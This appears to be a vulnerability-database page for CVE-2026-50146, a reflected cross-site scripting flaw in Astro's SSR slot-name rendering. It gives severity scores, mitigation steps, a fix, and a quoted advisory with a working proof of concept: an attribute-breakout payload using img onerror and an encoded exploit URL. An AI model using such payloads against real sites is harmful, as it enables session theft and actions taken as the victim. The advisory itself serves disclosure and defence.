What is the CVSS score of CVE-2026-50146?

CVE-2026-50146 has a CVSS 3.1 base score of 7.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N.

Which versions of Astro are affected by CVE-2026-50146?

A reflected cross-site scripting vulnerability in Astro framework versions prior to 6.3.3 allows remote attackers to inject malicious JavaScript through SSR-rendered pages when user input is passed…. A patch is available.

How to fix or mitigate CVE-2026-50146?

Within 24 hours: Identify all web applications running Astro versions prior to 6.3.3 and assess their exposure to user-controlled input in component slots. Within 7 days: Deploy Web Application Firewall rules to block XSS payloads; implement mandatory HTML entity encoding for all user-controlled slot names; and enforce restrictive Content Security Policy headers. Within 30 days: Monitor Astro security advisories for patch availability and develop a testing and deployment plan for upgrade to version 6.3.3 or later once released.

Astro CVE-2026-50146

HIGH

Cross-site Scripting (XSS) (CWE-79)

2026-06-16 https://github.com/withastro/astro

GHSA-8hv8-536x-4wqp

XSS Node.js

7.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

7.1 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

vuln.today AI

6.1 MEDIUM

Reflected XSS reachable over the network without auth but needs victim click (UI:R); injected script in app origin yields scope change with limited C/I impact and no availability effect.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

Low

Integrity

High

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jun 16, 2026 - 14:50 vuln.today

Analysis Generated

Jun 16, 2026 - 14:50 vuln.today

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

1 npm packages depend on astro (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 6.3.3.

DescriptionGitHub Advisory

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

html

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

---

Articles & Coverage 1

News 3 New Node.js Vulnerabilities - 3 High Severity, No Public POC Jun 17, 2026

AnalysisAI

Reflected cross-site scripting in Astro framework (versions prior to 6.3.3) allows remote attackers to inject arbitrary HTML and execute JavaScript in victim browsers when an SSR-rendered page passes user-controlled input as a slot name to a component using a client:* directive. The flaw lives in the server renderer, which interpolates the slot name into a data-astro-template attribute without HTML escaping, enabling attribute-context breakout. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon

Identify Astro SSR app with dynamic slot name

Delivery

Craft URL with attribute-breakout payload in slot parameter

Exploit

Send phishing link to victim

Install

Victim's browser requests SSR page

Server renders unescaped slot name into data-astro-template

Execute

Injected <img onerror> executes attacker JS in origin

Impact

Steal session or perform actions as victim